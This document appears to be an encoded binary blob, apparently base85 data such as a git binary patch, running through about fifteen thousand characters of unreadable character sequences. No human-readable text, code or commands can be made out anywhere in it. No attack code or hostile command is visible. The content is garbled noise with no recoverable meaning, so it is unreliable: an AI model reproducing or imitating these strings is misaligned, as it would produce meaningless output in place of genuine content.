z8hfpDAjh!{<%G6nWrQtNH+^<;pRWpc`1!RVS)8XJFMb#&bBl&Fg2b^YGJ|-(<}gN2^rp9Rl`ED?2eand9!3y6GJ+lv-DIl1yqxU zE_3O;Y9uW?7s8sSIk`~HC7G7;U+PyABbfxyMOwqM0vD^?bk@-{021a^Erlq9nNZ-1 zpMRdr%P?ol(A+LvO-l&X)_s`Uq(J-r^oT8YN$IM{U#z-zPHMVqOT$o8rqm2nQn6{b z6Jr@#YM`S`@#;m2OO5d z5|%2FbI--K*p0oJ6oyX>Z(JBK89cZcPFTTNYLG~$?`FO zuktzNFOA-q%@eJTn+gT$rtr!=O&Itk%6QPxJx>5vJC$ zZjsgebL=nJsj`!%$)5L1?% zerR_plWk#3pb8i0s)Unhe(~^Ee&t zMzM#`JG^_*dV|1j92C_4L zNUDx+aBPU~9K`<1O4`H^s>vBRJgKU;)3dch*?r@jtKN9~2eHa}^@7Q(BjR_yx9?YV z3s0)5X5-_&5k0d{aLGPxG<_@kk%Vt2)FAK!->=d~lEIX=(xf(O8!`ySs9q4{ef+87 zPyC^3POOTuD(Tbu`i>Ku=i&zziE6jhK)cBOmzu{*=fz{d@DK{tp8Cz z;}1U{!v+wgVUKp;CSzacTC(IqKj}kF*nZ*?eP6D`0!{7j1<2loq4sFRb&EbQQ&A6J zL%Pg@=`a#s7Oo#rQLEE0%~wkyCTL=!=_ke461ql%9r%DS=>e>6OC+{IsVwSG5aej2 z={s%^q^d`@O76Or#dlJV=+PO|TpWO1hN%TG*VB~nA0%fy3@XMJ$fYje*1qfvV7~p( zp{qWI-`TF~r^j;_;gqN5CNLFY3E`*x=EQdw5yLcRIsotFmgTyf?5CJ`8gxKS9{@QQ zT|_sq?i-rK^^+c0~UZ{ScnF!yZjQ7yxLH5-Fx>-lYW8dI54|twe z`NjO{{IuFQ)+;lu_xUGV=36iPPqxgsUieqib@rnobFNh;-f-D;tuNlRGVBS3-1Upe z>wg7ez;)}>lgb`M&c9ZYRf>_Ih*`Ld0(Q*fyiA-T8_&@}3OYi9Pl`i>nkXYdFFM_U3fQJZ zd*kybfT7Q7z4yhRdU5B+e*bfy`~K%X?>C?O+~0iO)8BFBmG5|Z^!Ele=@#^Iq2PP$ z_I&IDT zDxI1+jK}FYX5hKsT?7*s!yPyYTCi(mQyPRr_hS$G5#>?kv)B*)C*{AHiIZECY!ADT zT?&eMijIPnvCa}YZ9!>lw8NCD3XQ6j8~@M<56(W--0II~3h(HgO;6LYf@Dd(hC z!jk}Rzg2L~9p`j@P1ryvys?~GV zeIp~CpW(K4xR>vgX!?Zdj+tDyES;NU{QR!#b0&0c z@d+nk7@Z#tZ7lq-ZJPp&;~(D?VDzP^;*QQV(R_J}6NL+}GgCBW56r+Uqggm)m$P=~ zq%YW_z4PW}jglz(G5bigT_6%4C($&0Y>}oO#uem9HY^fFRJe5VE{j|c|iH-<^g3BjSAUd_M8bG&HtMJ z6aR0xA7sV2m>1`ZXNVicD_7&(PbED4j)HyV|DRj-pGp$WmgIPP@O7o+xMiQ}+6mY!_Ngrawrf(h1lYCh zVr?SvXcKLyZK6@xlBN4-)yq9x=TGry;6O?`cn0E>RZ%zs~=DwQ&&9?xg}wr z9*ITUvdx|r%|$$g#`USB4Lp_bbxRwF&wULz#kEZGNV`_MNn6#|XG?23JzCRKNn+mGmpDB*@KhStr;^t6R2tVU4R1@si#(Xt z;ptY*CtYvHxVdX$9VgxrkiMj zwoVlHHNb768B!F#+m0db7C$3?Uc6g8D*izHvG}g|FY$z`sA+Xr{gC?cRqX>5QC{LF ztk%;K$%88rd1#RrcpqzpNE|zl;C5jH*@GJ`)I@&U##}3dEX7rXQ*Gb^>28s{xY0sh zSxQ741*jiJN_AufPFE=ht{yg`WWA_4*9sBx9$_-m$j>{6bhSuvi!`^Cpf=N>6xv7^ zOyD5dabvDgZz3^4Ba1w?!w5E?4Ur`h*CCSFB3m%h2S+)L_b~ulsnfmLW){F^ktG>1 z^a#vGocXp%jaShyzEWOd>Ji?7S44sRL!ILGqthYsCF4s33FT#`$o%LeCGxGJG%b;v zmmrREBZo*XK%GGwO-l5QM3zltVMeX&EYixOB7y+|T4Y1UwC`B26@v=Ar0W$hFkoq&zpajWL?&tYNls_2>4v=3Q1D-*SW>f)) zNair!L@r@uA{eF=(SQKGL;hjPD2&v`)LELqR)caeW8~8S5OGP-AwY+`z!LBvL9nFs z(8zg!-ZYUK83PveFoP_@XbA99^=1P#kbXM)tRrARLxqlWHO0Sl_8s{msj zS*8)47f%3VF#I8K47V`tNIQ(Vq(sJb>JN2+FfI)!(^aIz##rE)ke&fP;XBeJ&!Qhl zql}S81KAeBDgsE#`GBV@%@$tKqP)wkECw6s)oew5q)rjiVGL$lF-GHK9zCr9>(Tug zh6x8wVHn0S1{gEKMFN*l5LiyRlhFVsoH~NWt7*(krH(FQ$fz%PIcAoIVqvt=&nU$+ z)&;UJ6FyK6v$NR>jjhD;!LmbLnn8R?%QOH+o_Ly%R&@?@hb-0+h!HA}H>*em4OGJF zAV9GQ&{rC;Y!j=CCYn&GnN3$Irg64O$)B6ZH{H~cVi@Z+#wUUgk5$SHU|`!O(=A)HIKC7YTK_ zswY%SV=71FScF{^$TBSrjXPdOgn}WPFBjZU4K>Gf1e`TAEh9vlyPCsP&vv=cxMoQ^ zi)J;S>#8B~RYR;$WP&g_M?PZ>NffwHwRC=1L$qZF2^fSx%s^DrkPty?u94QH1xOMu zJuWm=GZ3DYf(&XFc8gWy7_OKpTTd8LI8K(?ypTqk-@NZ=!bIRe2lYZ*^95Q=2+a|i zhm^@q8mZ<}h$1PG4LE@~g%XK|eWdO+v=O7A`I=!Gh7bm_G3fMqFPE|()IB)QFmjt7O$F}hrns;)U1z$iTQU)VO!NX^V59HW`l@FK2ZiY;ck7F@#DJ;vg+@}4Cez_efN7FmpsS};TX z0^6*)re>viDnU~Nl<{=#jsWqrd`h^;>Y)`ZnQ`z2pr_+|Sb_-ktfj%#fVq-ZWF}2r z4RUEGtqRN=mxjxA!bff+g^9!Q5Jn5&nrOt=TtTrtk^36xiY0)E2K;iz^ZW~3%r;iE zn+5C+N1NPCV1Z}QF$Y<_HN!VdH4rH*ILj5l9fAO9vP*7an`R;MGR-qE$pH=mRk676 zAg(5}$i|JhqJG*kbRiRCoIVVj<%JIvukm3CdL_|COs*x+0krB6mJt47)rU5BsX@yF z%vcD4gLQ&sAT$d>vZaZ_5x{GQXbVF%Wf(S~&0(=%{IG<58^gi9G+I-!#xO%d!y*F7 zBbtH?>?${bEXdU3p-s<4yAe54u_&4Er!xiNVpSW+@{;Dhj)dhLSy?o0&S17dx{&P* zxXz=62}}X0z-tUp5I?~ap-6#-pr`p9H_9$rF_1LH*L=rteCzu_SXFqA3@#}cnT*DL z3pkglfH*r=4m290!hQ51k*jcXzvp3EFDS^O?_i>B<~puHLrkmN!j>oZ=}Q67AyLtG z5I`$|`W#BJ{8`RD!WjKyoM`6UkcIGQoXPAhN>9o0?~sHBd%B?WI0$+Ge_f zqqWLNw|uTtl%0sEc8+pbxk7mkyNkV_eTaR6{V(>Hh)Vq}_5;@D24+3v1!R}m#&`3x z`33wkel>qSfAMP4J7qtB;5t{=AWuPhY(X{w$A&x~5~rQdlISfV(vXNK=ZRH=Eki7U z{9A!Q+HB0?$w=Pb$14{z(iO&$8h{=ZoavEnZ){_w4zZ3opCiqRE+xZl8T&pwCX$bTw54 z#h6Uo|9tV|*A^xk=c`ls)NDQ_1w^StT2E_QP8L86{eq}hb0EDz-3LX_Vr?1@Le%J5 z3PM9VCqVVpvI^P<8BjMYRnJ)yep=;uH<7cz87$%#pb)xL!A$@)Nj7RC+^$MwuySim zpA;p>&~0hzP@OF+wX-rmIj@SnrKwp}f4<5tNdPLDWEQA~>8W~~Y zKokwI7qoe`UdelqE)8A&09pUq{|HW(l{v`0f2XTf`dh-fQcCyzQtWqiT^Dwhf%}QR z9A3R8ch=;TNc`enJ)9)ID)j=GS`woYaWfM!ttaMvq05{wAl?>KcW#G$1QfbvVvrI= z>C3Zd*la(qT{k%?vh&-8J0+53tqwuaZOU}%nwx~aAF@iKCNQ25NTrpQBJH|rO;7Kc zNdyU*eR>wS=>ma$KjbuL z31}|qipZtYw(hC{*a8G&4Bb$o0xs`orRwWRJ#Z;jyUK^rk|ds(f)EaoA_tv8+GeS# zP6?3^S>TfE*F@=Tph6lmql$z@Z?SY)veH>qM}O663C^69Q%nPk-V2=h5Q*`&sZL6$ z9Qv}nC+x@BtH3GlLk5HQu#dCPus>yAV&7!nn-Txpc~M>K&3!?kth+wsSf%^+@w+mfdm-^&8UJ{f+bWzlR<$Z1-1@0 z1G*bkKz*uCWg$oznt@76q!Gj@;tXg7FAa&LlbQ#r4;Dofcs5I9R);}>w0D?CK*vaR z&p*Xbr?OG9Dhlzop0gYI;=L$ z>RcnXaga(4D-D#LL+1u}8P8S#SQhys!ET{slPXW2c&QF0nHV!QSVzynt7BFOAkhdW zq%{trOavKAoCr43Pts5mSd@`7qSKf@>RvP(m>J9|K&3gVV9YR?XjX#J!XAgzMa0C2 zhoBoMAof<(VNgIDWH5=$8uT{E{y+wdB27fZ{l}YN82}25gm`8hb_a|Uh7Jex2l~3S`-NLh1tMGQpIvf z>@>t|Fav=Y8ii$xpgJRVXQ2!^LO0X^q~1GU7Bd;wEjg}MfX1Z{Lp+8MiG~VdGAGQb zfKQD1W+DUSHW0cq6gX;98y#lbggT70E?Nmp0cv#FB^6ot%s0loDRVc}s-!ml8&Jr+ zL|J!q5T@k6L6OrMK?0O)S5p67fR#>Jfv@{cXnMK`W+1woy5Z=;IpU4z;nT!6&$}Du z5EXzy__uB_p@rlO^EL?VIwV%p2@4)nIk#%Uy5Tv7mHCQ?&f>>~u4_nLsNZ4G99(vp z>CYCxX7*x)#h=3Xp^I0Vu4jt&_rdyAyfbi3T~H>T@igG|JYq?v4ONLo4{w1M0oo~a z3~+83x(3abb{TMcGl))~ed(QXwDC3c)I99MUy z#+f#jok)1Cv}^NxEeS0euo-GWpAAI1DfImIQCo)gc(s;r*|Y6*plbRRyC;R1GIjmB zusSp)Q|SM2Fshqr&xMwcJ`lh&b+Nr7&VtcKczWmx&%5J7=f3w0CsZ~v*{~)>Za5fn znJcRvG=jk0W;e``CG-{s9EyL5H!>y|NNA2=`0CKmLXp+eXxkeVlOGPmupXX$ohhJ7 zZ*%m}0W`3as7WJZs2Pz=dVk9kn%Jj{-Kw=s%kO~Z=Qy4@3uFy+%(-bG4_Ij=a9*H~ zx@NNG0TV?^?$aR&d4lcVSLF$#qV4u!GJqVX^O7)O_ZiOH!(QT$CdSfEV9ZLF?;HlI zXz2v7q2yx%(*a(rkGpyrzzHMgh+zx>EM8C-g|9n7Av8or)n5>}nQL%NgQqdPT_ zMfufy7e9wz!LQ{v^V?VFb|j;N?hu=TkrU>`Y^wp?VGcqr#CQn(Aj&YuVl%@-J}$_; zFj#|?M22mM|Ii6Q3sDEPK-lIQ^o=MS?J(dIEHAcof&+MDqU>xWfT@6#fpy>lBol>1 zGND1WqQ*e`BHQ#VS@)sLfYU@27P}Nsdvu8$#Z;f*B7#pUSZoU?f=dsj8{kWz-Lxe_ z6(gPj%8u8C;N#$_t>_zgE7}HE20xJ1@j6%q*e`KDv`^GG;=@G2X`_LR>QEKH&?__! z&~PXnF*GJ{8Dc*G2pSLWfWWtCYk;}+!2`f8iLs*vJV6^kO>BGUG??`&o{mU< zGwKQUcc_106evY!A{ZlXFppsc(8L^?WN(K7AAO^#z`)U{6MNau=ta=gV1}j^&?RCt zFjr&$gCHawj#4!@NtHu>W^iZX@o1?@;KL}5oq|Zm0|x~=4kI%*X|klOVk9t?7#$iB zh#|zI(E$uZ#PK3N)yES3!f`T1nE8||wn17qbUmf2l~HXnZ;OOyUJYrz1pBeDVTrP< zAkaQp9iR&&LH1!-aSh0r$Z}?j7eV-ig^kxu(=HZl8zfg2Xqll@*T>Mf$iqY^JP6Go z4VJzQ!n5FJasSy2wi#P z!ra0g7k_Od;rO6TcGA%^={)x`;6R`|vXbXWu4Fh;MfxOYImqmr!6*WYhBcHLgJD=t<6V~-`Y3V< zXOnt5Y0eZeP`WD_pAuXbc}>F@XOg;Y({RCbgsUv9jl^&aciNpAwHz%|nzb=Du8j_B z#cXCwFPX*^%)%hpK8#1;Du+@~4GqJ{!VWd+S`J!C053Er$k;v%iC(f~+jX25NFgba zrzObxRYCVd6Bb}#hHaEZ)}FLY*rD)p$R(!cA5KrECv}W>;VP&n`*z*vRdqcvJ9ORb zGc-ArP;C21R@x^P_=`yLn^a3nmeVVwL7^4DSD zVCFrt8~1IrX}G{yUC$W0pEnKzp>@sto}P5;J7@E{?j-CtUOrdkP$rwiBitSy@ml3R z<;}`N>^k=I>|M~8ev5sKeU5!`HBOO&_5vvt!fH%&@r6_gP!!SxA`(E_2P57Y_E|wqLI3L@*?2#ofdwkk z25_?il8twvY8Yu#AZ%n)gUpVWBJB!qikd*bNDZh`!{BjvF<{0!_Awcf@Rrdvhrh`z6?zaUc?dEWku>f><<)LuMLk zx4YdCGvWT7#t2OBu(|Nc_Ubj&?9)p-jb}P}1{3x~cAjgYdjsbOfz$3aDQ?|U2J%ZS z-1S_|tWHR2Hiz9(;~Z@ynNiCqk<%OsK&j}fXD3a0MOL~_kgBIj0X7lJ0rwjqXvLH% zMUG<^#I<1jmULypimeKD6vb(SXJy)#vXoKxt0l*ok|2d#s{+LQge|1%8CtT0jSyjv z@@;mCwe(@jD2J}E$x_)Yj!d{t2{wB@=R?~`JM9)v*+ zt4P!KW53Da@@KS)hK(|8=Ot{O6+eMpKfJDgu6p&JMA~&!P$qQ4-v7n%if*fQ@@ zS+nu(WT{rh7Ejp*)AO-!dpMMW^D#)6*wc{O4riXvLthyUckIJbKFDNdqIzjMVaKbW@3L=#Uy22 zb)V^##&r|S2-KDPg+MPS#?pF-EnJax`H<9#m^L*;qb@e2)F!sduq{)nBuvjXMH+Ir z2h211hg_H^Rfj{bGKVb5lgVXr?W8iT>{6Q87ub)Tf%A|jd6h`p%g^t(uucX2;xvYa z-&(zuW%w1Xtc2Pw`v@!d?7DX6&TDtg(BI75+}w8`ewd&4@WaQybzAK=_A2~&JAT_| z<4<1>DSmw?J-P5Rga<$I@WbpHG;~wvIrc8PdL#ZQis+`#?26Ux~tD4n?h zr6Y?HnQA~{Kp}CUh9p>&(>?khi)>_SK@E}`L8@BOCC*on$%*nm;};LmRs$Y|y=fdI zETVZ-0P=g;D&$s>)*0lGCR>e+l>?lK0=Xe=U>>3-y?_WUjtLRv1?{C%PoPT> zva5JBszL@0&`}sYA|j0b|>WOE;B3d~10A4`SG{jYGOOVO{!wV797$WEfv0153 z+=V1m*if2aLL@)~4739ZJl|)E|2_@r4*E7Wy9F%DKx&r# z#%!4ie9&IzU>}w-eZ)$bumOk+_7$-vEXb=Ot4bVDuxbv&E zu-e2%SraB&`ot5hdi+^$gndx(B}ao>YB#5jK33b6+I4eq^s&c|1~=of_Sn(X&9z%_ zW2qo@3kukHe{$n}`S8g8-MjaX9RBjH54>i0w0L0T@U6Gv-tb8AHSB>~zkGP~z@9w^ zMyZ&+rZ`&MKYAgRA1I>y0VUl{f0U!j&noXi_W9pa9#=l6{FUZ6M>2H5$YLJC#_gL{DhxMx-E&XaUq(G6;0apqi4VNt!c69}tWACXPbU z0*=p8#e@y3nGRh+42qs5X$hhb=mcmLy(m)9=Rl?)YC%FHy+0C_${=}k){RUZF}Y}x zIhtrhvrZOqvnKgQMyeHg(*bEqH5I{iz zK_vPT$wvjy$dwqy?`N6YY~z3_=5fa0PL-E08P2$(Y9v^~NRRHrDh^*RcUqOe`x+x9b|llxI^?D%)Eoa<_p|BHN|ds*Myg)ge!;FhRCGI6 zR!vdNFfoJ!EN19lt?s~9Bd?mgeyPAdmTB(tGTbT#wXdeO+xpq5ajo`vFjN#~>k?fW zNyr4lHcwO`*F7Ican8nhkKl$`v;CKvlMA4C!&sf3oCjqau8mezw#^ycQ4Ff;6cdGz zsZ}n*p=-^jX}l)YvCFuhHg>WReb`a8O#83JIfr+p>by|+voOPR31iP;2Pb>Pp7+@M zbKcLXJ59CNcMWN2U4DKjSBE&P=W$X4MEd;sBx{N%GIM)QVx zsGuG3Ao!`H6IKg5)+V01Kf#yN#Z`T#yYro_#K-wVhxj`W9U3s;=RI-Yyz|7T&r>v_ zKh`I;J3x`8lE8WG5ERBA^&9wQb$>JqL;q;>|AXr5j;OEu!J|ja9~}AN*b_P9PoBtW z)5q>nUq`<`{K63}edLG#qJI5}ocKrjjcI&W+soSRZf|8fit<1I(}69h)P6!yl49Z` z>eu_;|L}nOzcb+eR|nkx%7FWS-}gSB_z0=^J#gLuIQ!j49Js#sU)}G1vQm3Zzxx=6 z*ABRUbijQYH$L&<0dTIoAH%uwehlZz`!Sp=@5gYiydT54@_r2G?+k!*<^34WmG@&f zSKg1|TzNl+bLIUQ&XxCLIKMgo&XxCLI9J|};aqt?hI8fp7|xaVV>nmdkKz1^f`5JR zbLIUQ&Sm$3hcTQh@5gX1yT6E^EAPi}uDl<^`S%0hTzNl+bLIUQ&Sm!(*U_^3i*T;I zAHx~lC)#*?yY{#8^*yvPCWfPIl!&7wDv4jvvX~HR(?9%|h!Dn9kpDg?<}XLo5ma-Q zZXPQ|#1TD)4BXSclIm%DMVq~iMe`azkN!M@b$&0=BOw*#Q`m}%=Y3f@*4?V*!1qnzZ=In0gC{7D=Lh3I0RFgt zgUjRo4K9!SH@H0R-{A7Ne}l{8{tYgV`v?44wSR-lcJnrA%^0M{9mdECFj z<#GQ8m&g4ZTpsri^k>!n4K9!SH@H0R-{A7Ne}l{8{tYfC_}@FxQx1BM?@RPFmbb-E zL6*0btWs4J_(b~Y>S(3uWR@qaTi zPH@&)KK2Tq-m=$~~~;9zqwy3=kKE}cH`r7sCEN|KdJF`^sV1 z_;B_KwtzeDAd8) zDfIjd{NM6=)yB>edw5_`d+x+j_dkkN@G=))l=0x~Gp4^#A2aC2MHesK=rfgX8q!84 zeb;yGAd^j6Rx(w9T~|By=LMbaClhuMW^msR3gmMqKHf8P%O+9`)zYbnefuU->DtqD z{fY1Nd|kc{FH~NmyiIuo!rxyh|GLV|&h3DSACuUm3(RhvX19dNgrN|-x^xvyXuTDd zP;!8=G(JPjYe*NE@GO<@Km(X?I3CaywSkS1CN=58y1veJ8qI(IM%IQFwoIfPoD0K= zb{sXt$uRa%NVxJjY)3T^0OioeFcJ)+{MxF{5{iMWhDjb0f z94>IMvuXyG8K^LZX@O}6*toz>gK2ojK4ZWtAJvoEvU)h&wpdU6{z+h2`;9$V*8bI= zuZq({ODakY9zzY~BIO0j9m-pk_bHF9f_WhbJIFsyYlTh8@QEX1xF?(8`YC(FRZa?H z2Q?sDK1d6ZlbG(1%&;+>gr&Zb|0}-+$w)x->>0%4cOt5czaV5)&DlypTSJpcI9~**sH!VlS zJLpC?=B))4b6#C_GIk-j zI6IUt+cJl(am%y`>207i-@Qs5;5_Qs$G^5A*!|bbv3p}E?@JAET_ATPL}Mc?C5msY9q=d zOoPu-eq4FI@{7ucl|NCwru?75m@lBIHQ)x?02!taSho2h6?6e3Jy(m%N^s(zQYpHkyYXca3G+kNw|Uc#m%QG-a~KeXEEv3t#JT#k+xe< zrRV@XezYtE7*e939oYzu!Vn52i1n*BJX%lkk<{j0V9_G&mW=x7`^UyS1CDvokKE@P z(lrd|ZLZu;${HzQ(GL!sF_i|%j8!@HE>D`Cl%5GqZ!bLt_h>w3K--RWJQAgX<&VAh z$zIjH#DR2#D8Ac?WGi-nJ%hbu@Cp~b%X5PytO2}g0OJ_IW(M3I(8$S&QYTk?fO;~3 z1obZE#?rDJB&D^lSf$Q_ly?0I#j6#JZN-gK;B=8x*S!!|s3>ncF%{{zc;T^o0=Z6o z-wEZq_pQPrU))pH`)wIBJ-4T7Zy`&sR``+Cr~<9g=!{|48r_34+}A0$blVG=#)_=L zE@CfWcd)k(Ua1pZ|R9pz_1UqZ-0_|V}{amOr=lZM^A)n(%y z&1&Jv0lap=k{hr<2izXe$jPn50o-%I?LmfulaeTUm-F$@4i6(FgVc86_X4ou1#XNm zCQA&Mvo%y|fB4B+(kpoDiW?iW#@}|CtiP6`z8OCmR8px*5dW3QvhSDRitPL427?Kbe7oR829G%MfQAoVmK@3`8V8OS z*KkywHbwBZGQ*p2e0WiHK@0TSc&~(LCaj;lN^WR)Thu2MqWB;Jn9xAsoHCwY57%!S zaHzFC9G->riTG#mTBMkd*xfYP=Q>4Xmg_D#{tZv)7W^l1R5t6QkR?KH)avSAes)ii zoqNNPM=$pc-3#GB}F5T`Obebw~T)l(Tg zW95?h#`TT4>u2*xMC|)AHaV?qjzI{vlkj2SYzTg#N!vA3zPuU%6->mv!};h8Ha-L+ zr`K`7@F#mbcJ2#~eEhP&(7X)1`>Wgwg;Pc7Mg&7jfQ`Xz!ae>)HD{VLbB!6x$ia<7 z&rDr44L|^eNl-j*4uA|H2BrFC4NzqA40GYod0YU2_>u_V24A<_DG3#~`zaUk?8q$x z!50~}Z!P@>%~la*^4N8YW$=DO5gc+Cip1vy4%$it+A$G`uV@OlqOm!x{@~lD0#-hB z=aNjT=fg@cG93 z#?1i3GN9oQ7^(r6@EqLJj1(Mz5Ry@pPbAZ%dTa|V*tA{*?}?vMena`Z^0&(WhE2E3 z&S6)w7w{MH*YUTnLhUM8ZlG>0tYEA{EI=$@e1~rKQNW(oc&p6G%S$5aK^EZ#T3I3xpbGF*$-?G9 zuYubJoo@gE#LTqdKQ`Z#Xos9x55mVQsv#DMN^I3=Mc<QUG;eVAV?%gJE&>oM-q)Oh&{nF-@-Wq z8a}j7ohG7Bv=asNpBzZC^b!3BKpwG`g<*<^wJOnc)GZon@Zh+ z#G*L3AR9jW^Fbx;Hz24l{MYaU3VbJivC%?Q2RHQ(YFe?tv)>n3orXXj7>QJRL&@cTY|N?fH{&t&RJ zj7vCKDoq+XpEi8!n6hw}r=z=?pu6JtfCtgkA%w+G;{u!pe#1CD1b-II`ZE~p5FrB2 zh1_iz7_KzDDQk%9iTxXLz|rz5g0X^%Yoi==8qU@k1PmOZK)zZw>0rWuH$XD?`1xn% zJ?x(HjnFbjGgZ?Dsk*Ve>}w+NGj#;0rEnJrlP%kBbaf3$Q*KXdJbKwsfe)rIMx|f0^EZv>nxpuVhNMYmBN`q;fjL=;GtR?%H()H zJ5;jF!cI_;BPGjmpNzM%RV{#|>z8`?;vVSvN3m!BUYyK$M0r&C5JAA^QUR9=Ca&AL7pdul$0zOC4W@TShb%Txfx5cBpeixhdjjPo zVj})ZPKe_q@y18TV#d0%Mm>HSG(YA9E8imE|0!GbQJLjvtJ}7piCWL5(JEd`JFm?- z97`h3S%uvnwPEXz%D@YV`=YD@1_J?BrlUe~jwD90RM;Y-kFteEi3#DsIe=BIq@usz z2q9h-sTsA-1#vQBU9tuzObT!Z(7rMRpHW2zwo1uoV}YA+=vtuic*BCP(kWw z3Zojf8n~k9KC@Yr;nlIeMemDRYC+wg7NLqTIKH-IcC=Lw0A%;R$#~CL#9hJ>uV^eX zXntud7P^bFSqw!D{p~4S7(^N;*)tZ^o^cZK6wF788nN#>&Q@YhaX}n5LJAEIr05RN z1MCwDR}&pa4df@F-^in#`cH1gh~$dlb>xXwKc za|~MC$qv-}7zv=6g|>Ri@DgNGS-|9w;!aUTJV?U^Et#ZZ#Ee|nKI%0~wXqxIUcf&emk}TRrk|ObnVAj|rFD8{W-8;ipXgk5O4#3|IIEw}oy}_r-If@qzB#>1H%) zQ8#x^Q8%Y{Qa2IZVBw0oNhR%CO7KoM;r_~(cM}6HI^Bec08v*Et3B=}WRgxd=VwG4s+{~oHoYZ9krn&igFB0 z1i?UHd>qs?5!a>z3g49w1{2pHX>d0aY1jw}Z_S3cHf z3*)Vj-yj*19H=9h1)jnXL8?cbMiL3}8)7A(V}$J(6jdDi{z*T=KU*jiD^Sz3>;~Xl zytWJt5m|vx$d5oc7h?_Md z#HxVQ&RP3j-_GT1KZrlB^POzg@l#3qNdB~*c9=H1!_!pxdZawaA;2|->=X=PK{4kR zFT9M43v#>IFe1+-?UIg_WCVz)1}QQ9l0-@!PbTXr3JmA!4Cyt1q5Sw?6bglE7BX)8 zmnaJgbrX6=HC{}e)e$W*4CZi5KB9%S*cnzLQi2IsTwz#~!&`FkgA37(mz&JnJAR8^{QCQN19$ixrVDCh3$Y5{Pc3 zw5X5aEeV90^^@b&M~a5zA<_|$LzIC7q$vRv5%F0!vD)r?53MVFu^hsYB*Fkulo6dj z_z==$5IRS@`@W{KhaSXgL=gfvVQDc2)J7Y)e9wI_7)5PhX(IL?P#!rB(A>u!DyOp9 zRQaKgp*kiWsVyRhh55+3Q+(n@PPD9OxkDt^)%)H{tCXHbG6}9?m4bI*aqxG%6UH>` zpChvbfuySJo$mlygT5<~e*$%*WfoD4_uhxttr27(8OUX_u;v+H339mrut2wjcGC+= zoCjfXkL*hLvb+_i>EEvW3QkG=q4IY)t0LGaEHJNNKfzwjj?fNV1pAl@T z&adO|~&XnaX-ieA$N771+- zMY0{Kw~Dk?kvz4~D&7O>rc2)BWX0+disuP{SQ3mXF7%B+L`eiDq)fE1AZQV|2=yrG zRt6GmBt}IyDdq@7U9#rIV;l_@Zo#q@-CMXzF`iRgWJoAO_3;|E z2&#w!OWi`m7VK7FJC^oGC~DI0cZ^|P;di+J7VWh>I}%8P!{@~ z0m7CI)uz&Hi>7`S>PeJ)1GA9<@R%E#%xGXKcpmgQ+9m;1fCowwg6~i$RfvoPC5fEN zgxqC9BkU3y`Cl2Dx(i`fXn#V*YTu?WY*j3LAUn^R>fM4!U#}e+`aeTMzm^U|9JzK< zDMx=+GQE9zdRv%GhTEp6x2Kc$kn9BeH%U+rXj#N`^xT}99V+IyNFi|&QeSzG>j?-q zx#AFFjJO_iU9bl)>)6*KroN2;pU6Li*v5z8yQPDy3D(7 zUh3`N{SoXGdwmv@j-&=)!4~ELqLG~RasH|OZtO>ajo1iZi5TQyDU98U@PE?<2;gQ3 z90ob65`2ZP-PC~g*bOV%YyaGe_VUZ^a($$&DIDO34239uyIQoRLwbX@O|Qn=J4fP= z#TRkU(#8Q6J&Svc-3nKi)_6T9= z<63qYmsq5-1mp| z!boKpX_nw(glO;wG#!~L*igxJHN!&!rs2v+K_B*!M946uObP6n>*cYD5na2c|ZX~*JT-R})_|VW$VI=AeY}U(rlR+HS_V?m`#C`hIVsBWYUvCmv zZmaYLdc$IGs)(rD=?#*C_4KA#?e0y05M>p8q>A3?&x(8VEUdVR>In6Q2aCOV$gm;C z(&lH1dyr17-NMR@+Rd-ksQ7yGx> z{$NjA>^W;_3--PKzPGPLRM}r!Me>OFZ=y_pfta@Ip_A~8Ir6#c32$hgLXrU5f@3GFl+UI7U zrG3&qxa`1B-gRCTFAf~vcY+#S-^IQ@Rz=pWG^HcN4*`>|9(VfOBwOuDzua4KF8`O5 zkFGY8>+;JzxykBZTdZYjPt`BC&t&zT!Efbe9VZXkL!=QO`9xwimzzx_y6-v8Y@eAv zSr^^A`pjP6Ddqn*HJx)3Nby4lEhH|S-1KpGI=TshjGMX>-CVJb$#?hXl;4D=@i)qU ztTOu~x}I*|-Tt!<<+ksF?q7QVj-&?E?g>GFL*%EycXy)^3&^$t0sA1^Mtkz!z46G% zcK1PB#p>Bd>iGFyth^99@gJ>%p&{(UI2qB;$5#xP{Q;O2ZND#nBw{|K^YwBe2?YfD z7cBV88;kf4DNntOs0E#GyCR%F~G?F3agt-eWKB zUmd0w*Dvg%k58o@9p5puhmY)wsN6Hh$Q zuPSWy$fVju%%-O^?sB<=e1-3a?c`DApV{y#*mBzZgij9F2GON6je;BJE&Sd!V(%OJ z)cb$>qv&bF=nZiu7XPx=6~OlNsmcDaAFi)|SuBf}(D6OK4}0<-Q*ac6HC9<2y&K!G z7Hx#z@rJC7>~gvsZ$83KiEYc}Wv7p3Z&$d5xhL_OBI4D2Z zXJPbZB7K+8RG+6$+p<~~n}YnB&w+Po%yquNw85)trBAcA9ART*K1mt2eSObHPM;>vAVKkZ=*coURQa~@KP<~GWQgiK$Sdsh_-GHJ4=1&> z2M~fmL}mar>3>_CVUc!&Jhj=uJ_{M#eTB`c-{S7a-EnUPvFIl)puH9K&a{c-*oOFZ z_p|1ud+htCMMLe4(K3lFUmf4@MSC=}SrsQ$ZeZx@l-dc5{%Bjq?t_wGY8~vWQ4O0`$vgSk2xrXL9imedxoJNL=pfLvZ-7 zoECzEy|2}M(?7}nauqtW<(m$-hRx!e-kinBMTWG7E^f(z`^}G0kt5Cm=+Z`Ppjm}om8O|+Vb$Hfo`Kn`McIj*}ZIGY9SA9Li zd&^fna$NtB_f=m9m)Y`I-||?8pFDf<+WF-Aeb-;DmR8}OIJO#joP$|_X+~}tk$ZOR za6(6lmY8bfdeZUK*z#T9@?C$Deb=KS*PF+0ot&GN3lQ+aiaeS&iO)KDUM)As)yJ0| z`rGnY&-hy&>%EToC+)HRQ4L<|PlCTXJW}lRile6{dkw*J#y!?KhcnVjX!;ys-Evyr za#~-z)A~8&hV`U4tRu>V6)Za{tv=B}kb*cS#2Iy2N4PfIUk;3N5`OESWS@q=`X93| zvTv~;aKy#p^ZaW5a`>(PyD-J*s&ey|-#SSXr@?Ps+ch^WO?1T(>RkA;-LG7e8j5o#b1AT}XIm`4!4DE8$rqv$9wBvL)vf}zi-L5j|@ z(5iXzy??Q1|5HAuHCK1u)(r45ljY8B4g^?U@ zrtso;4lpv3x=PVIGc^n)?VDl{D0nkX4)tfgIjRbd9YxeFM7D`;qw~?d zc`a(9iKsYH3!RGfD#g{wBAo$3;n3Itn^1vbCmuvb0lK7qw&rVd)k;XwJ!$&sc61p} 